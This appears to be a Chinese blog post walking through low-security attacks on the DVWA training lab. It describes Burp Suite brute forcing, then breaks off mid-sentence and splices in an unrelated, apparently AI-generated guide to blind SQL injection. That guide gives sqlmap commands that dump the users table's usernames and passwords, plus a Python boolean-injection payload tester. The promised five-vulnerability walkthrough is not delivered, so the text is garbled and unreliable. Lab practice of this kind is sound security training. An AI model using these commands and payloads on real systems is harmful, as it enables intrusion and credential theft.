dvwa low级别前五测试

本文详述了dvwa的前五个低级别漏洞测试,包括Brute Force、Command Injection、CSRF、File Inclusion和File Upload。通过环境搭建、漏洞复现及源码分析,展示了如何利用工具和技巧发现并利用这些漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

摘要

本篇签到记录dvwa前五个漏洞的low级别测试过程和结果。顺便复习一下之前接触过的几个漏洞。

0x00 环境搭建

phpstudy+dvwa环境的搭建不难,这里就不详细说了,详细参照博客。
phpstudy下搭建dvwa

0x01 Brute Force(爆破)

Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一。主要利用工具和字典穷举密码,进行渗透。一般在弱类型密码和没设置多次密码错误锁定账户时,容易产生爆破漏洞。

参考更多

下面开始测试dvwa的brute force的low级别:
first_test.jpg

爆破的话,就得寄出神器brupsuite了。

1.设置代理,抓包:

brute_low_burp1.jpg

然后抓到了之后可以比较容易看出,GET方式提交请求;

2.Ctrl+I交给intruder模块,clear$,在password上加上$,表示不断改变password的值。

3.载入字典,然后点击start attack。我是在网上下了一个,其实也可以自己制作攻击字典。(自制字典

brute_low_burp2.jpg

4.最后发现password的长度与众不同,且是

### 使用 Sqlmap 对 DVWA 靶场盲注 Low 级别的攻击方法 对于 DVWA 的 SQL 盲注低级别漏洞,可以利用 `sqlmap` 工具来自动化检测并提取数据库中的敏感信息。以下是具体的操作方式以及注意事项。 #### 构建基础命令 构建 `sqlmap` 命令时需要提供目标 URL 和必要的参数。由于 DVWA 要求设置安全等级的 Cookie,因此还需要通过 `--cookie` 参数传递会话信息[^2]。 ```bash sqlmap --url="http://<target-ip>/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" \ --cookie="security=low; PHPSESSID=<your-session-id>" \ --dbms=mysql --level=5 --risk=3 --threads=10 --random-agent ``` - **URL**: 替换 `<target-ip>` 为目标服务器的实际 IP 地址。 - **Cookie**: 将 `PHPSESSID=<your-session-id>` 中的 `<your-session-id>` 替换为你登录后的实际 Session ID。 - **其他选项**: - `--dbms`: 明确指定使用的数据库管理系统为 MySQL。 - `--level=5`: 设置扫描强度到最高级以发现更多潜在漏洞。 - `--risk=3`: 提高风险等级以便执行更复杂的测试。 - `--threads=10`: 并发线程数设为 10 加快扫描速度。 - `--random-agent`: 使用随机 User-Agent 来规避可能的防护机制。 #### 获取数据库结构 一旦确认存在注入点,则可以通过附加参数进一步操作: 1. 列举所有可用数据库: ```bash sqlmap ... -D dvwa --tables ``` 2. 查看特定表内的字段名称: ```bash sqlmap ... -D dvwa -T users --columns ``` 3. 导出选定数据列的内容: ```bash sqlmap ... -D dvwa -T users -C user,password --dump ``` 上述每一步骤均需基于一阶段成功完成的结果继续扩展。 #### 注意事项 尽管此配置适用于大多数场景下的简单环境,但在某些情况下仍可能出现误报或者无法正常工作的情况。此时可尝试调整部分参数值,比如降低 `--level` 或者减少 `--threads` 数量观察效果变化;另外也可以手动构造 payload 测试是否存在过滤规则影响工具判断准确性[^3]。 ```python import requests def test_payload(url, cookie, param): headers = {'User-Agent': 'Mozilla/5.0'} cookies = dict(PHPSESSID=cookie) true_query = f"{param} AND ASCII(SUBSTR((SELECT database()),1,1))>97" false_query = f"{param} AND ASCII(SUBSTR((SELECT database()),1,1))<97" response_true = requests.get(f'{url}{true_query}', headers=headers, cookies=cookies).text response_false = requests.get(f'{url}{false_query}', headers=headers, cookies=cookies).text if "exists" in response_true and not "exists" in response_false: return True else: return False ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值